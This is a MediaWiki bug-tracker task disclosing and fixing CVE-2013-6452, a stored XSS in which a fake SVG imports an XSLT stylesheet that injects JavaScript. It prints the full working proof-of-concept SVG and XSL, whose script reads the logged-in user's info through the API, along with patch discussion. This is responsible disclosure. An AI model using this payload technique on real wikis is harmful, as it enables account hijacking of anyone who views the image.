Page MenuHomePhabricator

SVG XSLT XSS
Closed, ResolvedPublic

Description

Reported by Chris Davis

Hi chaps,

Had a bit of brainwave today about an exciting new way to execute javascript in to SVG files uploaded to mediawiki, or more accurately to put it in an XSLT stylesheet that a specially crafted "SVG" file imports.

This vulnerability could be used to hijack the account of anyone who views an image on an instance of mediawiki, or deliver a flood of spam anonymously.

A live demo exists over on RationalWiki, though I'd like to take it down soon so if you can confirm as soon as possible I'd be grateful:

The SVG exists at: http://rationalwiki.org/w/images/0/03/Silly_mediawiki.svg
Which imports a stylesheet: http://rationalwiki.org/wiki/User:Jeeves/test.xsl

There's probably an element of browser compatibility because it relies on the browser sensibly parsing XSL. I tested on Chrome & Firefox on Windows.

The live example simply executes a little XMLHTTTPRequest that queries the API for the currently logged in user and alerts the user with the struct passed back. Obviously you could craft a more malicious and less obtrusive payload.

The technical details are:

  1. An XSL document is crafted to assemble an SVG which will include an executable payload, such as a script tag.
  2. The XSL document is written to page on the wiki.
  3. An XML document that looks minimally like an SVG file is crafted to fool the input validation. This XML document imports the XSL as a stylesheet.
  4. The XML document is uploaded to the image as an SVG file.
  5. The file looks like a picture to anyone viewing it, but executes javascript to possibly nasty things.

Just view souce on the working example for more details.

Please confirm soonest.
Cheers,

Chris.

Version: unspecified
Severity: normal

Details

Reference
bz57550

Related Objects

StatusAssignedTask
ResolvedNone

Event Timeline

bzimport raised the priority of this task from to Unbreak Now!.
bzimport set Reference to bz57550.
bzimport added a subscriber: Unknown Object (MLST).
csteipp created this task.Nov 25 2013, 6:25 PM

Here's the content of the demo files for reproduction.

SVG:
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="/w/index.php?title=User:Jeeves/test.xsl&amp;action=raw&amp;format=xml" ?>

<svg>

<height>50</height>
<width>100</width>

</svg>

XSL:
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"

		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns="http://www.w3.org/2000/svg"
		>
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />
  
  <xsl:template match="svg">
    <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" >
      <rect x="10" y="10" width="{width}" 
	    height="{height}" fill="red" stroke="black"/>  
    <script type="text/javascript"><![CDATA[
      function dostuff() {

var xmlhttp=new XMLHttpRequest();

xmlhttp.open("GET","/w/api.php?action=query&meta=userinfo&format=txt",false);
xmlhttp.send();
alert(xmlhttp.responseText);

     }

     dostuff(); 
  ]]></script>
  </svg>
</xsl:template>

</xsl:stylesheet>

Created attachment 13914
Disallow stylesheets in svg processing instructions

Patch to set a processing instruction handler in XmlTypeCheck, and the SVG processing uses that to disallow setting xml-stylesheet.

We could make it more specific to only disallow certain types of stylesheets, but I'd rather disallow them all, and whitelist any we need. I have 20k test images from commons, and none set an xml-stylesheet, so I think we're fairly safe just forbidding it.

I'd appreciate comments on the fix. I'll backport it to 1.19 for rationalwiki.

Attached:

Created attachment 13916
Disallow stylesheets in svg processing instructions (1.19 branch)

Attached:

This change is probably fine, but in looking at this type check code, I see a pre-existing issue that might allow it to be bypassed. A failure of xml_parse() will lead to the upload being accepted, so if it's possible to write an XML file that fails in xml_parse() but is accepted by a browser, then all the SVG checks would be bypassed, including this one.

I think that in UploadBase::detectScriptInSvg(), the upload should be rejected if $check->wellFormed is false.

This has been assigned CVE-2013-6452

Created attachment 14260
Disallow stylesheets in svg processing instructions (1.21 branch)

Attached:

Created attachment 14261
Disallow stylesheets in svg processing instructions (1.22 branch)

Attached:

In my role as sysadmin at RationalWiki.org, I just upgraded it to 1.19.10 - or thought I had - and Chris Davis' 'sploit link still runs the demo 'sploit for me:

http://rationalwiki.org/w/images/0/03/Silly_mediawiki.svg

Looking at includes/XmlTypeCheck.php and includes/upload/UploadBase.php in the RW installation, the patches in attachment 13916 appear to be present.

Should the demo 'sploit still work?

(In reply to comment #8)

Should the demo 'sploit still work?

From what I understand: the already-uploaded demo will continue to work, but you shouldn't be able to upload it any more.

Yeah, that'll do. Thank you :-) I just tested and get "This file contains HTML or script code that may be erroneously interpreted by a web browser." which is precisely right.

The original demo 'sploit SVG is still present in the file tree, so the link will work for an unspecified future length of time (probably until next major upgrade).

(In reply to comment #8)

In my role as sysadmin at RationalWiki.org, I just upgraded it to 1.19.10 -
or
thought I had - and Chris Davis' 'sploit link still runs the demo 'sploit for
me:

http://rationalwiki.org/w/images/0/03/Silly_mediawiki.svg

Looking at includes/XmlTypeCheck.php and includes/upload/UploadBase.php in
the
RW installation, the patches in attachment 13916 [details] appear to be
present.

Should the demo 'sploit still work?

Yes, the patch prevents the upload, but existing files will still be there.

Grepping for "<?xml-stylesheet" in your images would identify any that have previously come in.

Gilles moved this task from Untriaged to Done on the Multimedia board.Dec 4 2014, 10:10 AM
Restricted Application added subscribers: Steinsplitter, Matanya. · View Herald TranscriptAug 20 2015, 10:09 PM
Restricted Application added a subscriber: Luke081515. · View Herald TranscriptJan 28 2016, 5:57 PM